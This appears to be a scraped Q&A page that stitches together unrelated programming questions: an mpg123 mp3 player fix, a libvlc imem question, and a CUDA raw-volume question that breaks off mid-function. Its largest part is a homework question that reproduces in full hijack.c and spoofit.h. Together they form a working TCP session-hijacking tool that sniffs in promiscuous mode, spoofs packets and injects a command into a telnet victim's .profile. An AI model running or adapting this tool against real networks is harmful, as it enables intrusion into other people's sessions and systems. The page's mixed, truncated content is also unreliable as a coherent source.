mpg123_open() and Const - c++

Im a newbie on c++ programing and im basicly trying to make a simple mp3 player using mpg123, the code works great when in the main() but when i try to call it in a sub and submitting the path+file to play i just cant get it to work.
gcc complains about const char... and char conversion..
"1.c:71:18: error: invalid conversion from 'char' to 'const char*' [-fpermissive]"
#include <ao/ao.h>
#include <mpg123.h>
#define BITS 8
#include <iostream>
using namespace std;
void playaudio(const char * trakl)
{
//works when called here including path
//const char *traklink="/home/pi/downloads/00000050.mp3";
const char * traklink=trakl;
mpg123_handle *mh;
unsigned char *buffer;
size_t buffer_size;
size_t done;
int err;
int driver;
ao_device *dev;
ao_sample_format format;
int channels, encoding;
long rate;
/* if(argc < 2)
exit(0);
*/
/* initializations */
ao_initialize();
driver = ao_default_driver_id();
mpg123_init();
mh = mpg123_new(NULL, &err);
buffer_size = mpg123_outblock(mh);
buffer = (unsigned char*) malloc(buffer_size * sizeof(unsigned char));
/* open the file and get the decoding format */
//mpg123_open(mh,traklink);
mpg123_open(mh,traklink);
mpg123_getformat(mh, &rate, &channels, &encoding);
/* set the output format and open the output device */
format.bits = mpg123_encsize(encoding) * BITS;
format.rate = rate;
format.channels = channels;
format.byte_format = AO_FMT_NATIVE;
format.matrix = 0;
dev = ao_open_live(driver, &format, NULL);
/* decode and play */
while (mpg123_read(mh, buffer, buffer_size, &done) == MPG123_OK)
//ao_play(dev, buffer, done);
ao_play(dev, (char*)buffer, done);
/* clean up */
free(buffer);
ao_close(dev);
mpg123_close(mh);
mpg123_delete(mh);
mpg123_exit();
ao_shutdown();
// return 0;
}
int main()
{
const char * trakl="/home/pi/downloads/00000050.mp3";
playaudio(* trakl);
return 0;
}

You're calling playaudio like this:
playaudio(* trakl);
This is invalid. trak1 is of type const char *, this implies that *trak1 is of type const char. playaudio expects a const char *, you should call it like this instead:
playaudio(trakl);

Related

How to restore a telnet session after being hijacked by a hacker?

This is a class topic homework, I currently have some demonstration C++ codes(hijack.c) for hacker to hijack the telnet session in the LAN and implant some "evil code" in the telnet server.
The question is, for the telnet client, how to restore the telnet session instead of kill the PID by generating some large traffic? Only just need to modify some of the codes of the hijack.c.
/*---=[ hijack.c ]=-------------------------------------------------------*/
#include "spoofit.h" /* My spoofing include.... read licence on this */
/* Those 2 'defines' are important for putting the receiving device in */
/* PROMISCUOUS mode */
#define INTERFACE "eth0" /* first ethernet device */
#define INTERFACE_PREFIX 14 /* 14 bytes is an ethernet header */
#define PERSONAL_TOUCH 666
int fd_receive, fd_send;
char CLIENT[100],SERVER[100];
int CLIENT_P;
void main(int argc, char *argv[])
{
int i,j,count;
struct sp_wait_packet attack_info;
unsigned long sp_seq ,sp_ack;
unsigned long old_seq ,old_ack;
unsigned long serv_seq ,serv_ack;
/* This data used to clean up the shell line */
char to_data[]={0x08, 0x08,0x08, 0x08, 0x08, 0x08, 0x08, 0x08, 0x0a, 0x0a}; /* Clear the command line that typed by the client */
char evil_data[]="echo \"echo HACKED\" >>$HOME/.profile\n"; /* Input the command that the hacker intends to type*/
if(argc!=4)
{
printf("Usage: %s client client_port server\n",argv[0]); /* Check the input parameter format. */
exit(1);
}
strcpy(CLIENT,argv[1]); /* copy the client ip address info from argv[1] to the Char variable CLIENT */
CLIENT_P=atoi(argv[2]); /* Convert the String into Integer and save it to the Integer CLIENT_P */
strcpy(SERVER,argv[3]); /* same as the first strcpy */
/* preparing all necessary sockets (sending + receiving) */
DEV_PREFIX = INTERFACE_PREFIX;
fd_send = open_sending(); /* open_sending() is in the file called spoofit.h
fd_receive = open_receiving(INTERFACE, 0); /* normal BLOCKING mode */
printf("Starting Hijacking demo - Brecht Claerhout 1996\n");
printf("-----------------------------------------------\n");
for(j=0;j<50;j++)
{
printf("\nTakeover phase 1: Stealing connection.\n");
wait_packet(fd_receive,&attack_info,CLIENT, CLIENT_P, SERVER, 23,ACK|PSH,0); /*Based on the info to capture the packet and reconstruct the bogus packet*/
sp_seq=attack_info.seq+attack_info.datalen;
sp_ack=attack_info.ack;
printf(" Sending Spoofed clean-up data...\n");
transmit_TCP(fd_send, to_data,0,0,sizeof(to_data),CLIENT, CLIENT_P, SERVER,23,
sp_seq,sp_ack,ACK|PSH); /* Clear the command*/
/* NOTE: always beware you receive y'r OWN spoofed packs! */
/* so handle it if necessary */
count=0;
printf(" Waiting for spoof to be confirmed...\n");
while(count<5)
{
wait_packet(fd_receive, &attack_info,SERVER,23,CLIENT,CLIENT_P,ACK,0);
if(attack_info.ack==sp_seq+sizeof(to_data))
count=PERSONAL_TOUCH; /* PERSONAL_TOUCH = 666, In the previous define already. */
else count++;
};
if(count!=PERSONAL_TOUCH)
{printf("Phase 1 unsuccesfully ended.\n");}
else {printf("Phase 1 ended.\n"); break;};
};
printf("\nTakeover phase 2: Getting on track with SEQ/ACK's again\n");
count=serv_seq=old_ack=0;
while(count<10)
{
old_seq=serv_seq;
old_ack=serv_ack;
wait_packet(fd_receive,&attack_info,SERVER, 23, CLIENT, CLIENT_P, ACK,0);
if(attack_info.datalen==0)
{
serv_seq=attack_info.seq+attack_info.datalen;
serv_ack=attack_info.ack;
if( (old_seq==serv_seq)&&(serv_ack==old_ack) )
count=PERSONAL_TOUCH;
else count++;
}
};
if(count!=PERSONAL_TOUCH)
{printf("Phase 2 unsuccesfully ended.\n"); exit(0);} /* Time-out and abort immediately */
printf(" Server SEQ: %X (hex) ACK: %X (hex)\n",serv_seq,serv_ack);
printf("Phase 2 ended.\n");
printf("\nTakeover phase 3: Sending MY data.\n");
printf(" Sending evil data.\n");
transmit_TCP(fd_send, evil_data,0,0,sizeof(evil_data),CLIENT,CLIENT_P,
SERVER,23,serv_ack,serv_seq,ACK|PSH); /* Send out the evil data*/
printf(" Waiting for evil data to be confirmed...\n");
while(count<5)
{
wait_packet(fd_receive,&attack_info,SERVER,23,CLIENT,CLIENT_P,ACK,0);
if(attack_info.ack==serv_ack+sizeof(evil_data))
count=PERSONAL_TOUCH;
else count++;
};
if(count!=PERSONAL_TOUCH)
{printf("Phase 3 unsuccesfully ended.\n"); exit(0);}
printf("Phase 3 ended.\n");
}
/*---=[ spoofit.h ]=------------------------------------------------------*/
#include "sys/socket.h" /* includes, what would we do without them */
#include "netdb.h"
#include "stdlib.h"
#include "unistd.h"
#include "stdio.h"
#include "errno.h"
#include "netinet/in.h"
#include "netinet/ip.h"
#include "linux/if.h"
#include "sys/ioctl.h"
#include "sys/types.h"
#include "signal.h"
#include "fcntl.h"
#undef DEBUG
#define IP_VERSION 4 /* keep y'r hands off... */
#define MTU 1500
#define IP_HEAD_BASE 20 /* using fixed lengths to send */
#define TCP_HEAD_BASE 20 /* no options etc... */
#define UDP_HEAD_BASE 8 /* Always fixed */
#define IO_HANDLE 1
#define IO_NONBLOCK 2
int DEV_PREFIX = 9999;
sig_atomic_t WAIT_PACKET_WAIT_TIME=0;
/**** IO_HANDLE ************************************************************/
int rc_fd_abc123;
sig_atomic_t RC_FILTSET=0;
char rc_filter_string[50]; /* x.x.x.x.p-y.y.y.y.g */
sig_atomic_t SP_DATA_BUSY=0;
unsigned long int CUR_SEQ=0, CUR_ACK=0, CUR_COUNT=0;
unsigned int CUR_DATALEN;
unsigned short CUR_FLAGS;
/***************************************************************************/
struct sp_wait_packet
{
unsigned long seq,ack;
unsigned short flags;
int datalen;
};
/* Code from Sniffit - BTW my own program.... no copyright violation here */
#define URG 32 /* TCP flags */
#define ACK 16
#define PSH 8
#define RST 4
#define SYN 2
#define FIN 1
struct PACKET_info
{
int len, datalen;
unsigned long int seq_nr, ACK_nr;
u_char FLAGS;
};
struct IP_header /* The IPheader (without options) */
{
unsigned char verlen, type;
unsigned short length, ID, flag_offset;
unsigned char TTL, protocol;
unsigned short checksum;
unsigned long int source, destination;
};
struct TCP_header /* The TCP header (without options) */
{
unsigned short source, destination;
unsigned long int seq_nr, ACK_nr;
unsigned short offset_flag, window, checksum, urgent;
};
struct UDP_header /* The UDP header */
{
unsigned short source, destination;
unsigned short length, checksum;
};
struct pseudo_IP_header /* The pseudo IP header (checksum calc) */
{
unsigned long int source, destination;
char zero_byte, protocol;
unsigned short TCP_UDP_len;
};
/* data structure for argument passing */
struct sp_data_exchange {
int fd; /* Sh!t from transmit_TCP */
char *data;
int datalen;
char *source; unsigned short source_port;
char *dest; unsigned short dest_port;
unsigned long seq, ack;
unsigned short flags;
char *buffer; /* work buffer */
int IP_optlen; /* IP options length in bytes */
int TCP_optlen; /* TCP options length in bytes */
};
/**************** all functions *******************************************/
void transmit_TCP (int fd, char *sp_data,
int sp_ipoptlen, int sp_tcpoptlen, int sp_datalen,
char *sp_source, unsigned short sp_source_port,
char *sp_dest, unsigned short sp_dest_port,
unsigned long sp_seq, unsigned long sp_ack,
unsigned short sp_flags);
void transmit_UDP (int sp_fd, char *sp_data,
int ipoptlen, int sp_datalen,
char *sp_source, unsigned short sp_source_port,
char *sp_dest, unsigned short sp_dest_port);
int get_packet (int rc_fd, char *buffer, int *, unsigned char*);
int wait_packet(int,struct sp_wait_packet *,char *, unsigned short,char *, unsigned short, int, int);
static unsigned long sp_getaddrbyname(char *);
int open_sending (void);
int open_receiving (char *, char);
void close_receiving (void);
void sp_send_packet (struct sp_data_exchange *, unsigned char);
void sp_fix_TCP_packet (struct sp_data_exchange *);
void sp_fix_UDP_packet (struct sp_data_exchange *);
void sp_fix_IP_packet (struct sp_data_exchange *, unsigned char);
unsigned short in_cksum(unsigned short *, int );
void rc_sigio (int);
void set_filter (char *, unsigned short, char *, unsigned short);
/********************* let the games commence ****************************/
static unsigned long sp_getaddrbyname(char *sp_name)
{
struct hostent *sp_he;
int i;
if(isdigit(*sp_name))
return inet_addr(sp_name);
for(i=0;i<100;i++)
{
if(!(sp_he = gethostbyname(sp_name)))
{printf("WARNING: gethostbyname failure!\n");
sleep(1);
if(i>=3) /* always a retry here in this kind of application */
printf("Coudn't resolv hostname."), exit(1);
}
else break;
}
return sp_he ? *(long*)*sp_he->h_addr_list : 0;
}
int open_sending (void)
{
struct protoent *sp_proto;
int sp_fd;
int dummy=1;
/* they don't come rawer */
if ((sp_fd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW))==-1)
perror("Couldn't open Socket."), exit(1);
#ifdef DEBUG
printf("Raw socket ready\n");
#endif
return sp_fd;
}
void sp_send_packet (struct sp_data_exchange *sp, unsigned char proto)
{
int sp_status;
struct sockaddr_in sp_server;
struct hostent *sp_help;
int HEAD_BASE;
/* Construction of destination */
bzero((char *)&sp_server, sizeof(struct sockaddr));
sp_server.sin_family = AF_INET;
sp_server.sin_addr.s_addr = inet_addr(sp->dest);
if (sp_server.sin_addr.s_addr == (unsigned int)-1)
{ /* if target not in DOT/number notation */
if (!(sp_help=gethostbyname(sp->dest)))
fprintf(stderr,"unknown host %s\n", sp->dest), exit(1);
bcopy(sp_help->h_addr, (caddr_t)&sp_server.sin_addr, sp_help->h_length);
};
switch(proto)
{
case 6: HEAD_BASE = TCP_HEAD_BASE; break; /* TCP */
case 17: HEAD_BASE = UDP_HEAD_BASE; break; /* UDP */
default: exit(1); break;
};
sp_status = sendto(sp->fd, (char *)(sp->buffer), sp->datalen+HEAD_BASE+IP_HEAD_BASE+sp->IP_optlen, 0,
(struct sockaddr *)&sp_server,sizeof(struct sockaddr));
if (sp_status < 0 || sp_status != sp->datalen+HEAD_BASE+IP_HEAD_BASE+sp->IP_optlen)
{
if (sp_status < 0)
perror("Sendto"), exit(1);
printf("hmm... Only transmitted %d of %d bytes.\n", sp_status,
sp->datalen+HEAD_BASE);
};
#ifdef DEBUG
printf("Packet transmitted...\n");
#endif
}
void sp_fix_IP_packet (struct sp_data_exchange *sp, unsigned char proto)
{
struct IP_header *sp_help_ip;
int HEAD_BASE;
switch(proto)
{
case 6: HEAD_BASE = TCP_HEAD_BASE; break; /* TCP */
case 17: HEAD_BASE = UDP_HEAD_BASE; break; /* UDP */
default: exit(1); break;
};
sp_help_ip = (struct IP_header *) (sp->buffer);
sp_help_ip->verlen = (IP_VERSION << 4) | ((IP_HEAD_BASE+sp->IP_optlen)/4);
sp_help_ip->type = 0;
sp_help_ip->length = htons(IP_HEAD_BASE+HEAD_BASE+sp->datalen+sp->IP_optlen+sp->TCP_optlen);
sp_help_ip->ID = htons(12545); /* TEST */
sp_help_ip->flag_offset = 0;
sp_help_ip->TTL = 69;
sp_help_ip->protocol = proto;
sp_help_ip->source = sp_getaddrbyname(sp->source);
sp_help_ip->destination = sp_getaddrbyname(sp->dest);
sp_help_ip->checksum=in_cksum((unsigned short *) (sp->buffer),
IP_HEAD_BASE+sp->IP_optlen);
#ifdef DEBUG
printf("IP header fixed...\n");
#endif
}
void sp_fix_TCP_packet (struct sp_data_exchange *sp)
{
char sp_pseudo_ip_construct[MTU];
struct TCP_header *sp_help_tcp;
struct pseudo_IP_header *sp_help_pseudo;
int i;
for(i=0;i<MTU;i++)
{sp_pseudo_ip_construct[i]=0;}
sp_help_tcp = (struct TCP_header *) (sp->buffer+IP_HEAD_BASE+sp->IP_optlen);
sp_help_pseudo = (struct pseudo_IP_header *) sp_pseudo_ip_construct;
sp_help_tcp->offset_flag = htons( (((TCP_HEAD_BASE+sp->TCP_optlen)/4)<<12) | sp->flags);
sp_help_tcp->seq_nr = htonl(sp->seq);
sp_help_tcp->ACK_nr = htonl(sp->ack);
sp_help_tcp->source = htons(sp->source_port);
sp_help_tcp->destination = htons(sp->dest_port);
sp_help_tcp->window = htons(0x7c00); /* dummy for now 'wujx' */
sp_help_pseudo->source = sp_getaddrbyname(sp->source);
sp_help_pseudo->destination = sp_getaddrbyname(sp->dest);
sp_help_pseudo->zero_byte = 0;
sp_help_pseudo->protocol = 6;
sp_help_pseudo->TCP_UDP_len = htons(sp->datalen+TCP_HEAD_BASE+sp->TCP_optlen);
memcpy(sp_pseudo_ip_construct+12, sp_help_tcp, sp->TCP_optlen+sp->datalen+TCP_HEAD_BASE);
sp_help_tcp->checksum=in_cksum((unsigned short *) sp_pseudo_ip_construct,
sp->datalen+12+TCP_HEAD_BASE+sp->TCP_optlen);
#ifdef DEBUG
printf("TCP header fixed...\n");
#endif
}
void transmit_TCP (int sp_fd, char *sp_data,
int sp_ipoptlen, int sp_tcpoptlen, int sp_datalen,
char *sp_source, unsigned short sp_source_port,
char *sp_dest, unsigned short sp_dest_port,
unsigned long sp_seq, unsigned long sp_ack,
unsigned short sp_flags)
{
char sp_buffer[1500];
struct sp_data_exchange sp_struct;
bzero(sp_buffer,1500);
if (sp_ipoptlen!=0)
memcpy(sp_buffer+IP_HEAD_BASE,sp_data,sp_ipoptlen);
if (sp_tcpoptlen!=0)
memcpy(sp_buffer+IP_HEAD_BASE+TCP_HEAD_BASE+sp_ipoptlen,
sp_data+sp_ipoptlen,sp_tcpoptlen);
if (sp_datalen!=0)
memcpy(sp_buffer+IP_HEAD_BASE+TCP_HEAD_BASE+sp_ipoptlen+sp_tcpoptlen,
sp_data+sp_ipoptlen+sp_tcpoptlen,sp_datalen);
sp_struct.fd = sp_fd;
sp_struct.data = sp_data;
sp_struct.datalen = sp_datalen;
sp_struct.source = sp_source;
sp_struct.source_port = sp_source_port;
sp_struct.dest = sp_dest;
sp_struct.dest_port = sp_dest_port;
sp_struct.seq = sp_seq;
sp_struct.ack = sp_ack;
sp_struct.flags = sp_flags;
sp_struct.buffer = sp_buffer;
sp_struct.IP_optlen = sp_ipoptlen;
sp_struct.TCP_optlen = sp_tcpoptlen;
sp_fix_TCP_packet(&sp_struct);
sp_fix_IP_packet(&sp_struct, 6);
sp_send_packet(&sp_struct, 6);
}
void sp_fix_UDP_packet (struct sp_data_exchange *sp)
{
char sp_pseudo_ip_construct[MTU];
struct UDP_header *sp_help_udp;
struct pseudo_IP_header *sp_help_pseudo;
int i;
for(i=0;i<MTU;i++)
{sp_pseudo_ip_construct[i]=0;}
sp_help_udp = (struct UDP_header *) (sp->buffer+IP_HEAD_BASE+sp->IP_optlen);
sp_help_pseudo = (struct pseudo_IP_header *) sp_pseudo_ip_construct;
sp_help_udp->source = htons(sp->source_port);
sp_help_udp->destination = htons(sp->dest_port);
sp_help_udp->length = htons(sp->datalen+UDP_HEAD_BASE);
sp_help_pseudo->source = sp_getaddrbyname(sp->source);
sp_help_pseudo->destination = sp_getaddrbyname(sp->dest);
sp_help_pseudo->zero_byte = 0;
sp_help_pseudo->protocol = 17;
sp_help_pseudo->TCP_UDP_len = htons(sp->datalen+UDP_HEAD_BASE);
memcpy(sp_pseudo_ip_construct+12, sp_help_udp, sp->datalen+UDP_HEAD_BASE);
sp_help_udp->checksum=in_cksum((unsigned short *) sp_pseudo_ip_construct,
sp->datalen+12+UDP_HEAD_BASE);
#ifdef DEBUG
printf("UDP header fixed...\n");
#endif
}
void transmit_UDP (int sp_fd, char *sp_data,
int sp_ipoptlen, int sp_datalen,
char *sp_source, unsigned short sp_source_port,
char *sp_dest, unsigned short sp_dest_port)
{
char sp_buffer[1500];
struct sp_data_exchange sp_struct;
bzero(sp_buffer,1500);
if (sp_ipoptlen!=0)
memcpy(sp_buffer+IP_HEAD_BASE,sp_data,sp_ipoptlen);
if (sp_data!=NULL)
memcpy(sp_buffer+IP_HEAD_BASE+UDP_HEAD_BASE+sp_ipoptlen,
sp_data+sp_ipoptlen,sp_datalen);
sp_struct.fd = sp_fd;
sp_struct.data = sp_data;
sp_struct.datalen = sp_datalen;
sp_struct.source = sp_source;
sp_struct.source_port = sp_source_port;
sp_struct.dest = sp_dest;
sp_struct.dest_port = sp_dest_port;
sp_struct.buffer = sp_buffer;
sp_struct.IP_optlen = sp_ipoptlen;
sp_struct.TCP_optlen = 0;
sp_fix_UDP_packet(&sp_struct);
sp_fix_IP_packet(&sp_struct, 17);
sp_send_packet(&sp_struct, 17);
}
/* This routine stolen from ping.c -- HAHAHA!*/
unsigned short in_cksum(unsigned short *addr,int len)
{
register int nleft = len;
register unsigned short *w = addr;
register int sum = 0;
unsigned short answer = 0;
while (nleft > 1)
{
sum += *w++;
nleft -= 2;
}
if (nleft == 1)
{
*(u_char *)(&answer) = *(u_char *)w ;
sum += answer;
}
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
answer = ~sum;
return(answer);
}
/************************* Receiving department ****************************/
int open_receiving (char *rc_device, char mode)
{
int or_fd;
struct sigaction rc_sa;
int fcntl_flag;
struct ifreq ifinfo;
char test;
/* create snoop socket and set interface promisc */
if ((or_fd = socket(AF_INET, SOCK_PACKET, htons(0x3)))==-1)
perror("Couldn't open Socket."), exit(1);
strcpy(ifinfo.ifr_ifrn.ifrn_name,rc_device);
if(ioctl(or_fd,SIOCGIFFLAGS,&ifinfo)<0)
perror("Couldn't get flags."), exit(1);
ifinfo.ifr_ifru.ifru_flags |= IFF_PROMISC;
if(ioctl(or_fd,SIOCSIFFLAGS,&ifinfo)<0)
perror("Couldn't set flags. (PROMISC)"), exit(1);
if(mode&IO_HANDLE)
{ /* install handler */
rc_sa.sa_handler=rc_sigio; /* we don't use signal() */
sigemptyset(&rc_sa.sa_mask); /* because the timing window is */
rc_sa.sa_flags=0; /* too big... */
sigaction(SIGIO,&rc_sa,NULL);
}
if(fcntl(or_fd,F_SETOWN,getpid())<0)
perror("Couldn't set ownership"), exit(1);
if(mode&IO_HANDLE)
{
if( (fcntl_flag=fcntl(or_fd,F_GETFL,0))<0)
perror("Couldn't get FLAGS"), exit(1);
if(fcntl(or_fd,F_SETFL,fcntl_flag|FASYNC|FNDELAY)<0)
perror("Couldn't set FLAGS"), exit(1);
rc_fd_abc123=or_fd;
}
else
{
if(mode&IO_NONBLOCK)
{
if( (fcntl_flag=fcntl(or_fd,F_GETFL,0))<0)
perror("Couldn't get FLAGS"), exit(1);
if(fcntl(or_fd,F_SETFL,fcntl_flag|FNDELAY)<0)
perror("Couldn't set FLAGS"), exit(1);
};
};
#ifdef DEBUG
printf("Reading socket ready\n");
#endif
return or_fd;
}
/* returns 0 when no packet read! */
int get_packet (int rc_fd, char *buffer, int *TCP_UDP_start,unsigned char *proto)
{
char help_buffer[MTU];
int pack_len;
struct IP_header *gp_IPhead;
pack_len = read(rc_fd,help_buffer,1500);
if(pack_len<0)
{
if(errno==EWOULDBLOCK)
{pack_len=0;}
else
{perror("Read error:"); exit(1);}
};
if(pack_len>0)
{
pack_len -= DEV_PREFIX;
memcpy(buffer,help_buffer+DEV_PREFIX,pack_len);
gp_IPhead = (struct IP_header *) buffer;
if(proto != NULL)
*proto = gp_IPhead->protocol;
if(TCP_UDP_start != NULL)
*TCP_UDP_start = (gp_IPhead->verlen & 0xF) << 2;
}
return pack_len;
}
void wait_packet_timeout (int sig)
{
alarm(0);
WAIT_PACKET_WAIT_TIME=1;
}
int wait_packet(int wp_fd,struct sp_wait_packet *ret_values,
char *wp_source, unsigned short wp_source_port,
char *wp_dest, unsigned short wp_dest_port, int wp_flags,
int wait_time)
{
char wp_buffer[1500];
struct IP_header *wp_iphead;
struct TCP_header *wp_tcphead;
unsigned long wp_sourcel, wp_destl;
int wp_tcpstart;
char wp_proto;
wp_sourcel=sp_getaddrbyname(wp_source);
wp_destl=sp_getaddrbyname(wp_dest);
WAIT_PACKET_WAIT_TIME=0;
if(wait_time!=0)
{
signal(SIGALRM,wait_packet_timeout);
alarm(wait_time);
}
while(1)
{
while(get_packet(wp_fd, wp_buffer, &wp_tcpstart, &wp_proto)<=0)
{
if (WAIT_PACKET_WAIT_TIME!=0) {alarm(0); return -1;}
};
if(wp_proto == 6)
{
wp_iphead= (struct IP_header *) wp_buffer;
wp_tcphead= (struct TCP_header *) (wp_buffer+wp_tcpstart);
if( (wp_sourcel==wp_iphead->source)&&(wp_destl==wp_iphead->destination) )
{
if( (ntohs(wp_tcphead->source)==wp_source_port) &&
(ntohs(wp_tcphead->destination)==wp_dest_port) )
{
if( (wp_flags==0) || (ntohs(wp_tcphead->offset_flag)&wp_flags) )
{
ret_values->seq=ntohl(wp_tcphead->seq_nr);
ret_values->ack=ntohl(wp_tcphead->ACK_nr);
ret_values->flags=ntohs(wp_tcphead->offset_flag)&
(URG|ACK|PSH|FIN|RST|SYN);
ret_values->datalen = ntohs(wp_iphead->length) -
((wp_iphead->verlen & 0xF) << 2) -
((ntohs(wp_tcphead->offset_flag) & 0xF000) >> 10);
alarm(0);
return 0;
}
}
}
}
}
/*impossible to get here.. but anyways*/
alarm(0); return -1;
}
void close_receiving (void)
{
close(rc_fd_abc123);
}
void rc_sigio (int sig) /* Packet handling routine */
{
char rc_buffer[1500];
char packet_id [50];
unsigned char *rc_so, *rc_dest;
struct IP_header *rc_IPhead;
struct TCP_header *rc_TCPhead;
int pack_len;
if(RC_FILTSET==0) return;
if(SP_DATA_BUSY!=0) /* skip this packet */
return;
pack_len = read(rc_fd_abc123,rc_buffer,1500);
rc_IPhead = (struct IP_header *) (rc_buffer + DEV_PREFIX);
if(rc_IPhead->protocol!=6) return; /* if not TCP */
rc_TCPhead = (struct TCP_header *) (rc_buffer + DEV_PREFIX + ((rc_IPhead->verlen & 0xF) << 2));
rc_so = (unsigned char *) &(rc_IPhead->source);
rc_dest = (unsigned char *) &(rc_IPhead->destination);
sprintf(packet_id,"%u.%u.%u.%u.%u-%u.%u.%u.%u.%u",
rc_so[0],rc_so[1],rc_so[2],rc_so[3],ntohs(rc_TCPhead->source),
rc_dest[0],rc_dest[1],rc_dest[2],rc_dest[3],ntohs(rc_TCPhead->destination));
if(strcmp(packet_id,rc_filter_string)==0)
{
SP_DATA_BUSY=1;
CUR_SEQ = ntohl(rc_TCPhead->seq_nr);
CUR_ACK = ntohl(rc_TCPhead->ACK_nr);
CUR_FLAGS = ntohs(rc_TCPhead->offset_flag);
CUR_DATALEN = ntohs(rc_IPhead->length) -
((rc_IPhead->verlen & 0xF) << 2) -
((ntohs(rc_TCPhead->offset_flag) & 0xF000) >> 10);
CUR_COUNT++;
SP_DATA_BUSY=0;
}
}
void set_filter (char *f_source, unsigned short f_source_port,
char *f_dest, unsigned short f_dest_port)
{
unsigned char *f_so, *f_des;
unsigned long f_sol, f_destl;
RC_FILTSET=0;
if(DEV_PREFIX==9999)
fprintf(stderr,"DEV_PREFIX not set!\n"), exit(1);
f_sol = sp_getaddrbyname(f_source);
f_destl = sp_getaddrbyname(f_dest);
f_so = (unsigned char *) &f_sol;
f_des = (unsigned char *) &f_destl;
sprintf(rc_filter_string,"%u.%u.%u.%u.%u-%u.%u.%u.%u.%u",
f_so[0],f_so[1],f_so[2],f_so[3],f_source_port,
f_des[0],f_des[1],f_des[2],f_des[3],f_dest_port);
RC_FILTSET=1;
}

Play a memory buffer with libvlc

I want to play a buffer in libvlc which is filled by a signal/slot from another thread. I've used read_callbacks of libvlc but it can be compiled with mingw and compiling it for msvc is a hard process (see here).(I want to compile my program in msvc2012). so I want to use imem option and I wrote the following code but it crashed and do not show anything.
#include <QMainWindow>
#include <QFile>
#include <vlc/vlc.h>
#include <vlc/libvlc_media_player.h>
#include <vlc/libvlc_media.h>
using namespace std ;
const int len = (820 * 600 * 4) + 31;
int imemGetCallback (void *data, const char *cookie,int64_t *dts, int64_t *pts,unsigned *flags, size_t * bufferSize, void ** buffer);
int imemReleaseCallback (void *data, const char *cookie, size_t bufferSize, void * buffer);
int main(){
char smem_options1[2000];
char venc_options[1000];
sprintf(venc_options,"bframes=6,ref=6");
char str_imem_get[100], str_imem_release[100],str_imem_data[100];
sprintf(str_imem_get, "--imem-get=%ld", imemGetCallback);
sprintf(str_imem_release, "--imem-release=%ld", imemReleaseCallback);
const char * const vlc_args[] = {
"-I","dummy",
"--ignore-config",
"--demux","rawvideo",
"--rawvid-fps","30",
"--rawvid-width","820",
"--rawvid-height","600",
"--rawvid-chroma","RV24",
"--imem-channels=1",
"--imem-data=0",
"--imem-cat=4",
"--imem-fps=30",
"--imem-codec=none",
str_imem_get,
str_imem_release
};
libvlc_instance_t * inst_broadcast =libvlc_new(sizeof(vlc_args) / sizeof(vlc_args[0]), vlc_args);;// libvlc_new(vlc_argc, vlc_argv);
libvlc_media_t * m = libvlc_media_new_location(inst_broadcast, "imem://");
auto _vlcmp = libvlc_media_player_new_from_media(m);
libvlc_media_player_play(_vlcmp);
}
int imemGetCallback (void *data, const char *cookie,int64_t *dts, int64_t *pts,unsigned *flags, size_t * bufferSize, void ** buffer)
{
int64_t uS = 33333; // 30 fps
static int index=0;
*bufferSize = len;
*buffer = buf;
*dts = *pts = 33333;
return 1;
}
int imemReleaseCallback (void *data, const char *cookie, size_t bufferSize, void * buffer)
{
return 0;
}
how can I use imem option to do the job?

C/CUDA: Only every fourth element in CudaArray can be indexed

This is my first post, so I am thrilled to get some new insights and enlarge my knowledge. Currently I am working on a C-project where a binary raw file with 3d-data is loaded, processed in CUDA and saved in a new binary raw file.
This is based on the simpleTexture3D project from CUDA Samples:
This is my cpp
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <math.h>
// includes, cuda
#include <vector_types.h>
#include <driver_functions.h>
#include <cuda_runtime.h>
// CUDA utilities and system includes
#include <helper_cuda.h>
#include <helper_functions.h>
#include <vector_types.h>
typedef unsigned int uint;
typedef unsigned char uchar;
const char *sSDKsample = "simpleTexture3D";
const char *volumeFilename = "Bucky.raw";
const cudaExtent volumeSize = make_cudaExtent(32, 32, 32);
const uint width = 64, height = 64, depth=64;
//const char *volumeFilename = "TestOCT.raw";
//const cudaExtent volumeSize = make_cudaExtent(1024, 512, 512);
//
//const uint width = 1024, height = 512, depth=512;
const dim3 blockSize(8, 8, 8);
const dim3 gridSize(width / blockSize.x, height / blockSize.y, depth / blockSize.z);
uint *d_output = NULL;
int *pArgc = NULL;
char **pArgv = NULL;
extern "C" void cleanup();
extern "C" void initCuda(const uchar *h_volume, cudaExtent volumeSize);
extern "C" void render_kernel(dim3 gridSize, dim3 blockSize, uint *d_output, uint imageW, uint imageH, uint imageD);
void loadVolumeData(char *exec_path);
// render image using CUDA
void render()
{
// call CUDA kernel
render_kernel(gridSize, blockSize, d_output, width, height, depth);
getLastCudaError("render_kernel failed");
}
void cleanup()
{
// cudaDeviceReset causes the driver to clean up all state. While
// not mandatory in normal operation, it is good practice. It is also
// needed to ensure correct operation when the application is being
// profiled. Calling cudaDeviceReset causes all profile data to be
// flushed before the application exits
checkCudaErrors(cudaDeviceReset());
}
// Load raw data from disk
uchar *loadRawFile(const char *filename, size_t size)
{
FILE *fp = fopen(filename, "rb");
if (!fp)
{
fprintf(stderr, "Error opening file '%s'\n", filename);
return 0;
}
uchar *data = (uchar *) malloc(size);
size_t read = fread(data, 1, size, fp);
fclose(fp);
printf("Read '%s', %lu bytes\n", filename, read);
return data;
}
// write raw data to disk
int writeRawFile(const char *filename, uchar *data, size_t size)
{
int returnState=0;
// cut file extension from filename
char *a=strdup(filename); //via strdup you dumb a const char to char, you must free it yourself
int len = strlen(a);
a[len-4] = '\0'; //deletes '.raw'
//printf("%s\n",a);
char b[50];
sprintf(b, "_%dx%dx%d_out.raw", width, height, depth);
//char b[]="_out.raw"; //Add suffix out to filename
char buffer[256]; // <- danger, only storage for 256 characters.
strncpy(buffer, a, sizeof(buffer));
strncat(buffer, b, sizeof(buffer));
free(a);
FILE *fp = fopen(buffer, "wb"); //Open or create file for writing as binary, all existing data is cleared
if (!fp)
{
fprintf(stderr, "Error opening or creating file '%s'\n", buffer);
return 0;
}
size_t write = fwrite(data, 1, size, fp);
fclose(fp);
if (write==size)
{
printf("Wrote %lu bytes to '%s'\n", write, buffer);
return 0;
}
else
{
printf("Error writing data to file '%s'\n", buffer);
return 1;
}
}
// General initialization call for CUDA Device
int chooseCudaDevice(int argc, char **argv)
{
int result = 0;
result = findCudaDevice(argc, (const char **)argv);
return result;
}
void runAutoTest(char *exec_path, char *PathToFile)
{
// set path
char *path;
if (PathToFile == NULL)
{
